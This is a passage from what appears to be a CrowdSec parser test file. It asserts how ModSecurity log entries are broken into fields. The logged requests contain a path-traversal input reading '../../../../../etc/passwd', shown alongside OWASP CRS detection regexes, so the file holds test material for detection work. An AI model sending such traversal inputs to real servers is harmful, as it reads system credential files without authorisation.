\"(?i)(?:\\\\\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...\" at ARGS:a. [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"47\"] [id \"930100\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within ARGS:a: ../../../../../etc/passwd\"] [severity \"CRITICAL\"] [ver \"OWASP_CRS/3.3.0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"paranoia-level/1\"] [tag \"OWASP_CRS\"] [tag \"capec/1000/255/153/126\"] [hostname \"localhost\"] [uri \"/\"] [unique_id \"YVW7KjiKxXlACWj0fjsbkgAAAEk\"]" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruledata"] == "Matched Data: /../ found within ARGS:a: ../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruletag4"] == "paranoia-level/1" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruleseverity"] == "CRITICAL" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["source_port"] == "37752" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["datasource_path"] == "modsecurity-logs.log" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["rule_id"] == "930100" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["source_ip"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][2].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["apacheseverity"] == ":error" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruleseverity"] == "CRITICAL" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["sourcehost"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["source_port"] == "37752" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag2"] == "platform-multi" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag6"] == "capec/1000/255/153/126" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["targethost"] == "localhost" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag1"] == "language-multi" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["message"] == "[Thu Sep 30 13:27:06.010056 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match \"(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)\" at REQUEST_URI. [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"71\"] [id \"930110\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI: /?a=../../../../../etc/passwd\"] [severity \"CRITICAL\"] [ver \"OWASP_CRS/3.3.0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"paranoia-level/1\"] [tag \"OWASP_CRS\"] [tag \"capec/1000/255/153/126\"] [hostname \"localhost\"] [uri \"/\"] [unique_id \"YVW7KjiKxXlACWj0fjsbkgAAAEk\"]" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["modsecmessage"] == "Pattern match \"(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)\" at REQUEST_URI." results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruleid"] == "930110" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag5"] == "OWASP_CRS" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["timestamp"] == "Thu Sep 30 13:27:06.010056 2021" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruledata"] == "Matched Data: /../ found within REQUEST_URI: /?a=../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruleline"] == "71" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag3"] == "attack-lfi" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag4"] == "paranoia-level/1" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["uniqueid"] == "YVW7KjiKxXlACWj0fjsbkgAAAEk" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["datasource_path"] == "modsecurity-logs.log" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["rule_id"] == "930110" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["source_ip"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][3].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["message"] == "[Thu Sep 30 13:27:06.010075 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match \"(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)\" at REQUEST_URI. [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"71\"] [id \"930110\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI: /?a=../../../../../etc/passwd\"] [severity \"CRITICAL\"] [ver \"OWASP_CRS/3.3.0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"paranoia-level/1\"] [tag \"OWASP_CRS\"] [tag \"capec/1000/255/153/126\"] [hostname \"localhost\"] [uri \"/\"] [unique_id \"YVW7KjiKxXlACWj0fjsbkgAAAEk\"]" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag3"] == "attack-lfi" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["targethost"] == "localhost" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruledata"] == "Matched Data: /../ found within REQUEST_URI: /?a=../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruleid"] == "930110" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruleseverity"] == "CRITICAL" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["uniqueid"] == "YVW7KjiKxXlACWj0fjsbkgAAAEk" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["apacheseverity"] == ":error" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag1"] == "language-multi" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag4"] == "paranoia-level/1" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["source_port"] == "37752" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["sourcehost"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["timestamp"] == "Thu Sep 30 13:27:06.010075 2021" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["modsecmessage"] == "Pattern match \"(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)\" at REQUEST_URI." results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag2"] == "platform-multi" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag5"] == "OWASP_CRS" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruleline"] == "71" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag6"] == "capec/1000/255/153/126" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["rule_id"] == "930110" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["source_ip"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["datasource_path"] == "modsecurity-logs.log" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][4].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruleline"] == "71" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruleseverity"] == "CRITICAL" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["source_port"] == "37752" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["uniqueid"] == "YVW7KjiKxXlACWj0fjsbkgAAAEk" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag2"] == "platform-multi" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["modsecmessage"] == "Pattern match \"(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)\" at ARGS:a." results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag6"] == "capec/1000/255/153/126" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["apacheseverity"] == ":error" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruleid"] == "930110" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag1"] == "language-multi" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag3"] == "attack-lfi" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag5"] == "OWASP_CRS" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["targethost"] == "localhost" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["timestamp"] == "Thu Sep 30 13:27:06.010092 2021" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["message"] == "[Thu Sep 30 13:27:06.010092 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match \"(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)\" at ARGS:a. [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"71\"] [id \"930110\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: ../ found within ARGS:a: ../../../../../etc/passwd\"] [severity \"CRITICAL\"] [ver \"OWASP_CRS/3.3.0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"paranoia-level/1\"] [tag \"OWASP_CRS\"] [tag \"capec/1000/255/153/126\"] [hostname \"localhost\"] [uri \"/\"] [unique_id \"YVW7KjiKxXlACWj0fjsbkgAAAEk\"]" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruledata"] == "Matched Data: ../ found within ARGS:a: ../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag4"] == "paranoia-level/1" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["sourcehost"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["source_ip"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["datasource_path"] == "modsecurity-logs.log" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["rule_id"] == "930110" results["s01-parse"]["crowdsecurity/modsecurity"][5].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["apacheseverity"] == ":error" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag3"] == "attack-lfi" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag6"] == "capec/1000/255/153/126" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag1"] == "language-multi" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruledata"] == "Matched Data: ../ found within ARGS:a: ../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruleid"] == "930110" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruleseverity"] == "CRITICAL" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["source_port"] == "37752" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["modsecmessage"] == "Pattern match \"(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)\" at ARGS:a." results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruleline"] == "71" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag4"] == "paranoia-level/1" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["uniqueid"] == "YVW7KjiKxXlACWj0fjsbkgAAAEk" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["message"] == "[Thu Sep 30 13:27:06.010106 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match \"(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)\" at ARGS:a. [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"71\"] [id \"930110\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: ../ found within ARGS:a: ../../../../../etc/passwd\"] [severity \"CRITICAL\"] [ver \"OWASP_CRS/3.3.0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"paranoia-level/1\"] [tag \"OWASP_CRS\"] [tag \"capec/1000/255/153/126\"] [hostname \"localhost\"] [uri \"/\"] [unique_id \"YVW7KjiKxXlACWj0fjsbkgAAAEk\"]" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["targethost"] == "localhost" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag2"] == "platform-multi" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag5"] == "OWASP_CRS" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["timestamp"] == "Thu Sep 30 13:27:06.010106 2021" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["sourcehost"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["datasource_path"] == "modsecurity-logs.log" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["rule_id"] == "930110" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["source_ip"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][6].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["ruleseverity"] == "CRITICAL" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["ruleline"] == "97" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["rulemessage"] == "OS File Access Attempt" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["modsecmessage"] == "Matched phrase \"etc/passwd\" at ARGS:a." results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["ruletag1"] == "language-multi" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["ruletag4"] == "paranoia-level/1" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["apacheseverity"] == ":error" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["message"] == "[Thu Sep 30 13:27:06.010136 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Matched phrase \"etc/passwd\" at ARGS:a. [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"97\"] [id \"930120\"] [msg \"OS File Access Attempt\"] [data \"Matched Data: etc/passwd found within ARGS:a: ../../../../../etc/passwd\"] [severity \"CRITICAL\"] [ver \"OWASP_CRS/3.3.0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"paranoia-level/1\"] [tag \"OWASP_CRS\"] [tag \"capec/1000/255/153/126\"] [tag \"PCI/6.5.4\"] [hostname \"localhost\"] [uri \"/\"] [unique_id \"YVW7KjiKxXlACWj0fjsbkgAAAEk\"]" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["ruletag5"] == "OWASP_CRS" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["ruletag3"] == "attack-lfi" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["ruletag2"] == "platform-multi" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["source_port"] == "37752" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["ruleid"] == "930120" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["ruletag7"] == "PCI/6.5.4" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["sourcehost"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["ruletag6"] == "capec/1000/255/153/126" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["ruledata"] == "Matched Data: etc/passwd found within ARGS:a: ../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["timestamp"] == "Thu Sep 30 13:27:06.010136 2021" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["uniqueid"] == "YVW7KjiKxXlACWj0fjsbkgAAAEk" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["targethost"] == "localhost" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Meta["datasource_path"] == "modsecurity-logs.log" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Meta["rule_id"] == "930120" results["s01-parse"]["crowdsecurity/modsecurity"][6].Evt.Meta["source_ip"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][7].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["apacheseverity"] == ":error" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["ruledata"] == "Matched Data: etc/passwd found within ARGS:a: ../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["ruletag4"] == "paranoia-level/1" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["targethost"] == "localhost" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["modsecmessage"] == "Matched phrase \"etc/passwd\" at ARGS:a." results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["rulemessage"] == "Remote Command Execution: Unix Shell Code Found" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["ruletag1"] == "language-shell" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["ruletag2"] == "platform-unix" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["ruletag7"] == "PCI/6.5.2" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["source_port"] == "37752" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["sourcehost"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["ruletag3"] == "attack-rce" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["ruletag6"] == "capec/1000/152/248/88" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["uniqueid"] == "YVW7KjiKxXlACWj0fjsbkgAAAEk" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["ruleid"] == "932160" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["ruletag5"] == "OWASP_CRS" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["message"] == "[Thu Sep 30 13:27:06.010193 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Matched phrase \"etc/passwd\" at ARGS:a. [file \"/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf\"] [line \"500\"] [id \"932160\"] [msg \"Remote Command Execution: Unix Shell Code Found\"] [data \"Matched Data: etc/passwd found within ARGS:a: ../../../../../etc/passwd\"] [severity \"CRITICAL\"] [ver \"OWASP_CRS/3.3.0\"] [tag \"application-multi\"] [tag \"language-shell\"] [tag \"platform-unix\"] [tag \"attack-rce\"] [tag \"paranoia-level/1\"] [tag \"OWASP_CRS\"] [tag \"capec/1000/152/248/88\"] [tag \"PCI/6.5.2\"] [hostname \"localhost\"] [uri \"/\"] [unique_id \"YVW7KjiKxXlACWj0fjsbkgAAAEk\"]" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["ruleline"] == "500" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["ruleseverity"] == "CRITICAL" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Parsed["timestamp"] == "Thu Sep 30 13:27:06.010193 2021" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Meta["datasource_path"] == "modsecurity-logs.log" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Meta["rule_id"] == "932160" results["s01-parse"]["crowdsecurity/modsecurity"][7].Evt.Meta["source_ip"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][8].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["ruletag1"] == "language-multi" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["ruletag2"] == "platform-multi" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["ruleline"] == "93" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["ruleid"] == "949110" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["message"] == "[Thu Sep 30 13:27:06.010524 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file \"/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"93\"] [id \"949110\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 40)\"] [severity \"CRITICAL\"] [ver \"OWASP_CRS/3.3.0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"localhost\"] [uri \"/\"] [unique_id \"YVW7KjiKxXlACWj0fjsbkgAAAEk\"]" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["modsecmessage"] == "Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score." results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["ruleseverity"] == "CRITICAL" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["ruletag3"] == "attack-generic" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["sourcehost"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["uniqueid"] == "YVW7KjiKxXlACWj0fjsbkgAAAEk" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["source_port"] == "37752" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["apacheseverity"] == ":error" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["rulemessage"] == "Inbound Anomaly Score Exceeded (Total Score: 40)" 